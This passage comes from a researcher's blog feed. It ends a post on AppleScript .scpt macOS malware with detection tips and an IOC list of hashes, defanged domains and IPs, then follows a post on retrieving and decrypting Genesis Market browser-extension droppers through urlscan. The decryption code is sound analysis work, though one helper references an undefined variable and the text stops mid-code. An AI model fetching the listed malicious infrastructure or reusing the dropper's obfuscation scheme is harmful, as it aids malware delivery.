<p>Similar to recommendations on how we can mitigate <code class="language-plaintext highlighter-rouge">.js</code>, <code class="language-plaintext highlighter-rouge">.vbs</code>, and other dangerous extensions on Windows <a href="https://redcanary.com/blog/threat-intelligence/notepad-javascript/">[15]</a>, we can set the default app of <code class="language-plaintext highlighter-rouge">.scpt</code> and other similar extensions like <code class="language-plaintext highlighter-rouge">.applescript</code> and <code class="language-plaintext highlighter-rouge">.scptd</code></p>

<p><img src="/assets/posts/20251111/open_with_textedit.png" alt="" /></p>

<p>But because compiled applescripts are not text, <code class="language-plaintext highlighter-rouge">TextEdit</code> will not display it properly.</p>

<h4 id="set-extensions-to-always-show">Set extensions to always show</h4>

<p>It was pointed out to me that by<a href="https://0x626c6f67.xyz/posts/hiding-compiled-applescripts/#hidden-extensions">sysop_host</a> that the per-file setting for hiding extensions is overriden by Finder’s settings.</p>

<p><img src="/assets/posts/20251111/finder_settings.png" alt="" /></p>

<h4 id="detections">Detections</h4>

<ul>
  <li>Look for weird executions from <code class="language-plaintext highlighter-rouge">Script Editor</code>, especially things that reach out. <a href="https://github.com/SigmaHQ/sigma/blob/4355ece230d68c36f08ebd53d5408ec5f8d629cc/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml">(Sigma rule for reference)</a></li>
  <li>In file events, look for files with <code class="language-plaintext highlighter-rouge">.docx.scpt</code>, <code class="language-plaintext highlighter-rouge">.pptx.scpt</code>, and <code class="language-plaintext highlighter-rouge">&lt;common extension&gt;.scpt</code></li>
</ul>

<h3 id="indicators">Indicators</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Fake doc zips
f5b4fec2263950ca5cfac9f9d060bb96f6323fcb908b09eedb7996c107bdcf5a
99cfb160a2453a22cc025fe0afc21d660744205eff2885836d8e543fda50f06d
# Fake doc .scpt and domains
6149bacfb02eb3db6f95947bc57d89bfb92b90f16f92a61266ea6fbec81d10b7
2e2cedbf1f09208ee7dad6ac5dec96e97bc0c41a31e190bc41e14f2929c05d4c
b489039b502afd8b8267853c4d2cf65f75b76aa1f128f13d332f7d26ffcbd114
endesway[.]life
customizetion[.]com

# BlueNoroff IOCs
14aba88b5f87ab9415bbca855d24abc3f151b819302930897e71e2626e823271
support.ms-live[.]com

580f6dd3f4cb78f80167a3d980bab3590dca877d78bb4e17360dc50fdbef7692
uk06webzoom[.]us

a7c7d75c33aa809c231f1b22521ae680248986c980b45aa0881e19c19b7b1892
8e897a1e0c3092a7a8f8c3946da6ef23f013dd7633bdea185d15f6ea9c902ef0
uk04webzoom[.]us

# MacSync 
24ba8e79bd22ece03fc7cd0b00822a38ecec146dc5c70404476110a4028c9caf
foldgalaxy[.]com

2f99de308882fb9a6686913c4f6cc6654e75eb861d39a9ce33ae23c2d11271ec
forestnumb[.]top

f9f9ac24381acad8957724b6aacb0a7fe83d9359c6b7ceded10b2c8e2f4a729b
elbrone[.]com

43e2681212b6324c6087d78e8c30313e199d42e4554e616c6880ed4c4f6bf088
b9c35bccb5ee635269780983265c40169e7c268f73f6e38651cc8efcaf13ed41
globalnetman[.]xyz

# Odyssey
7f69f3012e134d1f5084fbb9086697da66a9b0e9240c4e1413777b9e1099aca9
185.93.89[.]62
aubr[.]io

# Bad DMG 888.scpt
6a95ab1e7a94fb55a1789f5dfb0fb98237ac72d14ae89ac557101a6176826610

03458265a47dd655c7c6eccff7c273618f768f52ecf11db7fd67c857b1eca0cd
9f3a2876f29b336f4372e3c0be26cecaa2966bc5ef5bf2403cb6354ddb87691a

e41efd9eeb08571b4322433df84f81d660ce2fc1ba24134ff14a58a06cd2436b
fbea68ff0dc10f85e859ad09c02c1fea4b85d58e80d8a68af7e93f4a1443b34b

dosmac[.]top
192.140.161[.]143
124.132.136[.]17
114.66.50[.]134

</code></pre></div></div>

<h3 id="sources">Sources</h3>
<ul>
  <li><a href="https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/">[1] https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/</a></li>
  <li><a href="https://moonlock.com/macos-malware-homebrew-ads">[2] https://moonlock.com/macos-malware-homebrew-ads</a></li>
  <li><a href="https://9to5mac.com/2024/10/17/security-bite-hackers-are-now-directing-users-to-terminal-to-bypass-gatekeeper-in-macos-sequoia/">[3] https://9to5mac.com/2024/10/17/security-bite-hackers-are-now-directing-users-to-terminal-to-bypass-gatekeeper-in-macos-sequoia/</a></li>
  <li><a href="https://0x626c6f67.xyz/posts/macos-dmg-malware/">[4] https://0x626c6f67.xyz/posts/macos-dmg-malware/</a></li>
  <li><a href="https://huntability.tech/threat-note-2025-04-23-nk-zoom/">[5] https://huntability.tech/threat-note-2025-04-23-nk-zoom/</a></li>
  <li><a href="https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis">[6] https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis</a></li>
  <li><a href="https://twitter.com/moonlock_lab/status/1980684233690746897">[7] https://twitter.com/moonlock_lab/status/1980684233690746897</a></li>
  <li><a href="https://x.com/L0Psec/status/1987181570265112719?s=20">[8] https://x.com/L0Psec/status/1987181570265112719?s=20</a></li>
  <li><a href="https://www.malwarebytes.com/blog/threat-intel/2023/11/atomic-stealer-distributed-to-mac-users-via-fake-browser-updates">[9] https://www.malwarebytes.com/blog/threat-intel/2023/11/atomic-stealer-distributed-to-mac-users-via-fake-browser-updates</a></li>
  <li><a href="https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthire/117842/">[10] https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthire/117842/</a></li>
  <li><a href="https://x.com/moonlock_lab/status/1983550008344375443">[11] https://x.com/moonlock_lab/status/1983550008344375443</a></li>
  <li><a href="https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthire/117842">[12] https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthire/117842</a></li>
  <li><a href="https://AppleScriptlibrary.wordpress.com/wp-content/uploads/2013/11/AppleScript-terminology-and-apple-eve-nt-codes-e28094-developer-documentation.pdf">[13] https://AppleScriptlibrary.wordpress.com/wp-content/uploads/2013/11/AppleScript-terminology-and-apple-eve-nt-codes-e28094-developer-documentation.pdf</a></li>
  <li><a href="https://github.com/t3l3machus/PowerShell-Obfuscation-Bible">[14] https://github.com/t3l3machus/PowerShell-Obfuscation-Bible</a></li>
  <li><a href="https://redcanary.com/blog/threat-intelligence/notepad-javascript/">[15] https://redcanary.com/blog/threat-intelligence/notepad-javascript/</a></li>
  <li><a href="https://github.com/SigmaHQ/sigma/blob/4355ece230d68c36f08ebd53d5408ec5f8d629cc/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml">[16] proc_creation_macos_susp_execution_macos_script_editor.yml</a></li>
</ul>]]></content><author><name>Pepe Berba</name></author><category term="security" /><summary type="html"><![CDATA[A look at how threat actors are abusing AppleScript .scpt files to deliver macOS malware, from fake documents to browser update lures, and how these scripts can still run despite Gatekeeper protections.]]></summary></entry><entry><title type="html">Acquiring Malicious Browser Extension Samples on a Shoestring Budget</title><link href="https://pberba.github.io/crypto/2024/09/14/malicious-browser-extension-genesis-market/" rel="alternate" type="text/html" title="Acquiring Malicious Browser Extension Samples on a Shoestring Budget" /><published>2024-09-14T00:00:00+00:00</published><updated>2024-09-14T00:00:00+00:00</updated><id>https://pberba.github.io/crypto/2024/09/14/malicious-browser-extension-genesis-market</id><content type="html" xml:base="https://pberba.github.io/crypto/2024/09/14/malicious-browser-extension-genesis-market/"><![CDATA[<h3 id="introduction">Introduction</h3>

<p>A friend of mine sent me a link to an article on <a href="https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/new-rilide-stealer-version-targets-banking-data-and-works-around-google-chrome-manifest-v3/">malicious browser extensions that worked around Google Chrome Manifest V3</a> and asked if I had or could acquire a sample. In the process of getting a sample, I thought, if I was someone who didn’t have the paid resources that an enterprise might have, how would I go about acquiring a similar malicious browser extension sample (and maybe hunting for more samples).</p>

<p>In this blog post, I’ll give a walkthrough how I used free resources to acquire a sample of the malicious browser extension similar to the one described in the article and using some simple cryptanalysis, I was able to pivot and acquire and decrypt newer samples.</p>

<p>If you want to follow along, you can use this <a href="https://colab.research.google.com/drive/1poBINNfQNs7RoA5jMKDMoLWo10mifBrl?usp=sharing">notebook</a>.</p>

<h3 id="looking-for-similar-samples">Looking for similar samples</h3>

<p>If you are lucky, you can search the hashes of the samples in free sites like <a href="https://bazaar.abuse.ch/browse/">MalwareBazaar</a> or even some google searching. However, if that doesn’t work, then we’d need to be a bit more creative.</p>

<p>In this case, I looked at features of the malware that I can use to look for other similar ones. I found that the names and directory structure of the browser extension seemed unique enough to pivot from. I used a hash from the article and looked it up in <a href="https://www.virustotal.com/gui/file/35451261a9864614aaeb43cd8bfb8d166a483baaa4477c6e119ebcffffa0ba31/relations">VT</a>.</p>

<p><img src="/assets/posts/20240914/00_zip_files.png" alt="crypto-extension.zip" /></p>

<p>This led me to find a <a href="https://www.trendmicro.com/en_au/research/23/k/attack-signals-possible-return-of-genesis-market.html">blog post from Trend Micro</a> and in one section, they discussed the malicious browser extension used by Genesis Market.</p>

<p><img src="/assets/posts/20240914/01_similar_files.png" alt="crypto-extension.zip" /></p>

<p>As you can see, the file names and the structure of this extension is very similar to the one we were looking for, and the blog post also showed the script that was used by the malware to drop the malicious extension.</p>

<p><img src="/assets/posts/20240914/02_genesis_powershell.png" alt="powershell script" /></p>

<h4 id="acquiring-the-first-sample">Acquiring the first sample</h4>

<p>Given this powershell script, if the endpoint is still available we can try to download the sample directly. However, it wasn’t available anymore, so we have to hope that the response of <code class="language-plaintext highlighter-rouge">hxxps://ps1-local[.]com/obfs3ip2.bs64</code> was saved before it went down. This is where services like urlscan come in handy. We <a href="https://urlscan.io/result/cd3138d1-d731-4cf6-a43d-8085a594a529/">used urlscan to get the saved response</a> for <code class="language-plaintext highlighter-rouge">obfs3ip2.bs64</code>.</p>

<p><img src="/assets/posts/20240914/03_urlscan.png" alt="urlscan for bs64" /></p>

<p>Now, this would return a base64-ish payload, but to fully decrypt this, you would have to follow the transformations done by the powershell script. A simple base64 decode won’t work, you can see some attempts of other researchers on <code class="language-plaintext highlighter-rouge">any.run</code> <a href="https://any.run/report/db38219c8a1be1304c123376ddc23474b3188250d87b1ef2717c5af7460b055f/cc0b2c95-ca9a-4fb7-8389-9c4ccda08898">here</a> and <a href="https://any.run/report/0ce03db7a5e0fca4cfbbd17261ee7163cfdc83958ed13551f349d67c87f2bdb9/90316a50-c440-4542-b251-955c19df579c">here</a>.</p>

<p>If we translate the powershell script to python, then we can process the saved response from urlscan easily.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">base64</span>

<span class="c1"># hxxps://ps1-local[.]com/obfs3ip2.bs64
</span><span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'https://urlscan.io/responses/bef9d19d1390d4e3deac31553aac678dc4abb4b2d1c8586d8eaf130c4523f356/'</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">res</span><span class="p">.</span><span class="n">text</span>\
    <span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'!'</span><span class="p">,</span> <span class="s">'B'</span><span class="p">)</span>\
    <span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'@'</span><span class="p">,</span> <span class="s">'X'</span><span class="p">)</span>\
    <span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'$'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">)</span>\
    <span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'%'</span><span class="p">,</span> <span class="s">'d'</span><span class="p">)</span>\
    <span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'^'</span><span class="p">,</span> <span class="s">'e'</span><span class="p">)</span>

<span class="n">ciphertext</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="n">plaintext</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">b</span> <span class="o">^</span> <span class="mi">167</span> <span class="o">^</span> <span class="mi">18</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">ciphertext</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="n">plaintext</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div></div>

<p>This gives us a powershell script that drops the browser extension on disk and modifies the shortcuts to load the browser extension to chrome or opera.</p>

<p><img src="/assets/posts/20240914/04_powershell_dropper.png" alt="urlscan for bs64" /></p>

<p>I won’t do a deep dive on what the powershell script does because this has already been discussed in other blog posts:</p>
<ul>
  <li><a href="https://sector7.computest.nl/post/2023-04-technical-analysis-genesis-market/">https://sector7.computest.nl/post/2023-04-technical-analysis-genesis-market/</a></li>
  <li><a href="https://www.trendmicro.com/en_au/research/23/k/attack-signals-possible-return-of-genesis-market.html">https://www.trendmicro.com/en_au/research/23/k/attack-signals-possible-return-of-genesis-market.html</a></li>
</ul>

<p>The files of the extension are in a dictionary where the key is the file name and the value is a base64 encoded file.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"src/functions/injections.js"="KGZ1bmN0aW9uKF8weDU0YjAwYyxfMHgxOGY3NGIpe2Z1bmN0aW9uIF8weDJkMmI4..."}
</code></pre></div></div>

<p>Getting the browser extension is just a matter of parsing the files out of the dictionary in the powershell script.</p>

<h4 id="looking-for-new-samples">Looking for new samples</h4>

<p>The extension of <code class="language-plaintext highlighter-rouge">.bs64</code> seemed quite unique to me and was something that I felt could be pivoted from to get more samples. With a free account in urlscan, I can search for scans of URLs ending with <code class="language-plaintext highlighter-rouge">.bs64</code>.</p>

<p><img src="/assets/posts/20240914/05_urlscan_bs64.png" alt="urlscan for bs64" /></p>

<p>This was interesting for 2 reasons:</p>
<ol>
  <li>The domain <code class="language-plaintext highlighter-rouge">root-head[.]com</code> was <a href="https://www.virustotal.com/gui/domain/root-head.com">recently registered</a> so this was just recently set up.</li>
  <li>I also wanted to see if there have been updates to the extension by the malware authors.</li>
</ol>

<p>I used the decryption script shown in <em>“Acquiring the first sample”</em> on the <a href="https://urlscan.io/responses/67f0500292fe4cec7d7b7b467b7bbeac6e165afdbccf3dffc85fb2d276a3d19c/">payload from urlscan</a>.</p>

<p>Here is the output.
<img src="/assets/posts/20240914/06_incorrect_decode.png" alt="incorrect decode" /></p>

<p>Unfortunately, the decryption wasn’t completely successful. Because the plaintext is partially correct, this told me that the <code class="language-plaintext highlighter-rouge">xor</code> key was correct but the substitutions used in the encryption has changed.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>s = res.text\
    .replace('!', 'B')\
    .replace('@', 'X')\
    .replace('$', 'a')\
    .replace('%', 'd')\
    .replace('^', 'e')
</code></pre></div></div>

<p>This seemed like a small and fun cryptographic puzzle to tackle. As someone who has enjoyed doing crypto CTF challenges in the past, the idea of using cryptography “in real life” was exciting.</p>

<h3 id="cryptanalysis">Cryptanalysis</h3>

<h4 id="overview">Overview</h4>

<p>Let’s formalize the problem a bit. The encryption code is something like this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">plaintext</span><span class="p">,</span> <span class="n">xor</span><span class="p">,</span> <span class="n">sub</span><span class="p">):</span>
    <span class="n">ciphertext</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">b</span> <span class="o">^</span> <span class="n">xor</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">plaintext</span><span class="p">.</span><span class="n">encode</span><span class="p">()])</span>
    <span class="n">s</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>
    <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">sub</span><span class="p">:</span>
        <span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">s</span>
</code></pre></div></div>

<p>And the example we had would have been encrypted using:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">encrypt</span><span class="p">(</span><span class="n">plaintext</span><span class="p">,</span> <span class="mi">167</span> <span class="o">^</span> <span class="mi">18</span><span class="p">,</span> <span class="p">[</span>
    <span class="p">(</span><span class="s">'B'</span><span class="p">,</span> <span class="s">'!'</span><span class="p">),</span> 
    <span class="p">(</span><span class="s">'X'</span><span class="p">,</span> <span class="s">'@'</span><span class="p">),</span> 
    <span class="p">(</span><span class="s">'a'</span><span class="p">,</span> <span class="s">'$'</span><span class="p">),</span> 
    <span class="p">(</span><span class="s">'d'</span><span class="p">,</span> <span class="s">'%'</span><span class="p">),</span> 
    <span class="p">(</span><span class="s">'e'</span><span class="p">,</span> <span class="s">'^'</span><span class="p">)</span>
<span class="p">])</span>
</code></pre></div></div>

<p>Given a ciphertext, how do we retrieve the plaintext without the xor and substitution key. The solution is very simple, at a high level we want to:</p>
<ol>
  <li>Figure out what characters we need to remove <code class="language-plaintext highlighter-rouge">['!', '%', '@', '$', '^']</code> and what characters we need to put back <code class="language-plaintext highlighter-rouge">['a', 'B', 'd', 'e', 'X']</code>.</li>
  <li>We can search all possible xor keys and permutations of the mappings and get the most “script” looking output.</li>
</ol>

<p>We optimize a bit by figuring out the xor key and substitution key separately but this is the solution at the very core of it.</p>

<p>Full code for this is in the <a href="https://colab.research.google.com/drive/1poBINNfQNs7RoA5jMKDMoLWo10mifBrl?usp=sharing">notebook</a>.</p>

<h4 id="getting-a-cleaned-base64-payload">Getting a cleaned base64 payload</h4>

<p>The initial <code class="language-plaintext highlighter-rouge">bs64</code> payload we get may not be a valid base64 string. Because of the way the encryption was performed, we expect the ciphertext to probably have valid base64 characters missing and have some  characters that are <em>not</em> valid base64 characters.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># hxxps://ps1-local[.]com/obfs3ip2.bs64
</span><span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'https://urlscan.io/responses/bef9d19d1390d4e3deac31553aac678dc4abb4b2d1c8586d8eaf130c4523f356/'</span><span class="p">)</span>

<span class="n">ciphertext</span> <span class="o">=</span> <span class="n">res</span><span class="p">.</span><span class="n">text</span>
<span class="k">assert</span> <span class="s">'B'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">ciphertext</span>
<span class="k">assert</span> <span class="s">'a'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">ciphertext</span>

<span class="k">assert</span> <span class="s">'!'</span> <span class="ow">in</span> <span class="n">ciphertext</span>
<span class="k">assert</span> <span class="s">'$'</span> <span class="ow">in</span> <span class="n">ciphertext</span>
</code></pre></div></div>

<p>So first we detect what are the missing characters and what are the extra characters we have in the payload.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">s</span> <span class="o">=</span> <span class="s">"&lt;CIPHERTEXT&gt;"</span>

<span class="n">base64_alphabet</span> <span class="o">=</span> <span class="s">'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='</span>

<span class="n">_from</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">-</span> <span class="nb">set</span><span class="p">(</span><span class="n">base64_alphabet</span><span class="p">))</span>
<span class="n">_to</span>   <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">base64_alphabet</span><span class="p">)</span> <span class="o">-</span> <span class="nb">set</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">-</span> <span class="nb">set</span><span class="p">(</span><span class="s">"="</span><span class="p">))</span>
</code></pre></div></div>

<p>This gives us the characters that will make up the key for the substitution step.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>_from = ['!', '%', '@', '$', '^']
_to   = ['a', 'B', 'd', 'e', 'X']
</code></pre></div></div>

<p>From here, we filter out all of the chunks of the base64 payload that contain any of the invalid characters <code class="language-plaintext highlighter-rouge">!%@$^</code>. This will allow us to decode part of the payload so we can perform the analysis we need for <code class="language-plaintext highlighter-rouge">xor</code>. This <code class="language-plaintext highlighter-rouge">cleaned_b</code> can now be used to retrieve the <code class="language-plaintext highlighter-rouge">xor</code> key.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">clean_chunks</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="mi">4</span><span class="p">):</span>
    <span class="n">chunk</span> <span class="o">=</span> <span class="n">s</span><span class="p">[</span><span class="n">idx</span><span class="p">:</span><span class="n">idx</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span>
    <span class="k">if</span> <span class="nb">set</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span> <span class="o">&amp;</span> <span class="nb">set</span><span class="p">(</span><span class="n">_from</span><span class="p">):</span>
        <span class="k">continue</span>
    <span class="n">clean_chunks</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>

<span class="n">cleaned_s</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">clean_chunks</span><span class="p">)</span>
<span class="n">cleaned_b</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">cleaned_s</span><span class="p">)</span>
</code></pre></div></div>

<p>We can do this because base64 comes in chunks of 4 which represent 3 bytes in the decoded data. We can remove chunks of 4 characters in the encoded data and still decode the remaining data.</p>

<p><img src="/assets/posts/20240914/07_base64_tutorial.png" alt="base64 chunks" /></p>

<h4 id="xor">XOR</h4>

<p>The original powershell script used what is described as “<a href="https://www.esentire.com/blog/lummac2-malware-and-malicious-chrome-extension-delivered-via-dll-side-loading">two rounds of xor</a>”. Even other <a href="https://sector7.computest.nl/post/2023-04-technical-analysis-genesis-market/">documented powershell droppers</a> used two <code class="language-plaintext highlighter-rouge">-bxor</code> operations.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>for ($i = 0; $i -lt $x.Count; $i++) {
    $x[$i] = ($x[$i] -bxor 255) -bxor 11
}
</code></pre></div></div>

<p>I’m not sure why the malware authors had multiple single byte xor to decrypt the payload, but cryptographically, this is just equivalent to a single xor byte encryption. This particular topic is really basic and is probably the first lesson you’d get in a cryptography class. If you want exercises on this you can try <a href="https://cryptopals.com/sets/1">cryptopals</a> or <a href="https://cryptohack.org/">cryptohack</a>.</p>

<p>The main idea here is that:</p>
<ol>
  <li>The search space is small, just 256 possible values for the xor key.</li>
  <li>We can use some heuristic to find the correct key.</li>
</ol>

<p>If you only have one payload to decrypt, you can just display all 256 plaintext and visually inspect and find the correct plaintext. However, we want an automated process. Since we expect that the output is another script, then the plaintext is expected to have mainly printable (and usually alphanumeric) characters.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Assume we have xor and alphanumeric_count functions
</span><span class="n">xor_attempts</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)):</span>
    <span class="n">_b</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">cleaned_b</span><span class="p">,</span> <span class="n">x</span><span class="p">)</span>
    <span class="n">xor_attempts</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">alphanumeric_count</span><span class="p">(</span><span class="n">_b</span><span class="p">)</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">_b</span><span class="p">)))</span>
<span class="n">xor_attempts</span><span class="p">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="o">-</span><span class="n">x</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>

<span class="n">potential_xor_key</span> <span class="o">=</span> <span class="n">xor_attempts</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
</code></pre></div></div>

<h4 id="brute-force-mapping-permutations">Brute force mapping permutations</h4>

<p>We have the arrays <code class="language-plaintext highlighter-rouge">_from</code> and <code class="language-plaintext highlighter-rouge">_to</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>_from = ['!', '%', '@', '$', '^']
_to   = ['a', 'B', 'd', 'e', 'X']
</code></pre></div></div>

<p>And we need to find the mapping:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>! -&gt; B
@ -&gt; X
$ -&gt; a
% -&gt; d
^ -&gt; e
</code></pre></div></div>

<p>Since this is just 5 characters, there are only <code class="language-plaintext highlighter-rouge">5!</code> or 120 permutations. This is similar to <code class="language-plaintext highlighter-rouge">xor</code> where we can just go through the search space and find the permutation that results in the most number of printable or alphanumeric characters. We use <code class="language-plaintext highlighter-rouge">itertools.permutations</code> for this.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># potential_xor_key, _from, _to from the previous steps
# assume printable_count and alphanumeric_count exists
</span>
<span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">x</span><span class="p">):</span>
    <span class="k">return</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">e</span> <span class="o">^</span> <span class="n">x</span> <span class="k">for</span> <span class="n">e</span> <span class="ow">in</span> <span class="n">b</span><span class="p">])</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">_from</span><span class="p">,</span> <span class="n">_to</span><span class="p">):</span>
    <span class="n">mapping</span> <span class="o">=</span> <span class="p">{</span><span class="n">a</span><span class="p">:</span> <span class="n">b</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">_from</span><span class="p">,</span> <span class="n">_to</span><span class="p">)}</span>
    <span class="n">s</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="n">mapping</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span> <span class="k">for</span> <span class="n">e</span> <span class="ow">in</span> <span class="n">s</span><span class="p">])</span>
    <span class="n">_b</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">curr</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">xor</span><span class="p">(</span><span class="n">_b</span><span class="p">,</span> <span class="n">x</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">b64decode</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="c1"># There were invalid payloads (just truncate)
</span>    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">strip</span><span class="p">(</span><span class="s">'='</span><span class="p">))</span> <span class="o">%</span> <span class="mi">4</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">strip</span><span class="p">(</span><span class="s">'='</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
    <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="p">((</span><span class="mi">4</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">%</span> <span class="mi">4</span><span class="p">)</span> <span class="o">%</span> <span class="mi">4</span><span class="p">)</span> <span class="o">*</span> <span class="s">'='</span>
    <span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>

<span class="n">attempts</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="n">permutations</span><span class="p">(</span><span class="n">_to</span><span class="p">)):</span>
    <span class="n">_b</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">potential_xor_key</span><span class="p">,</span> <span class="n">_from</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
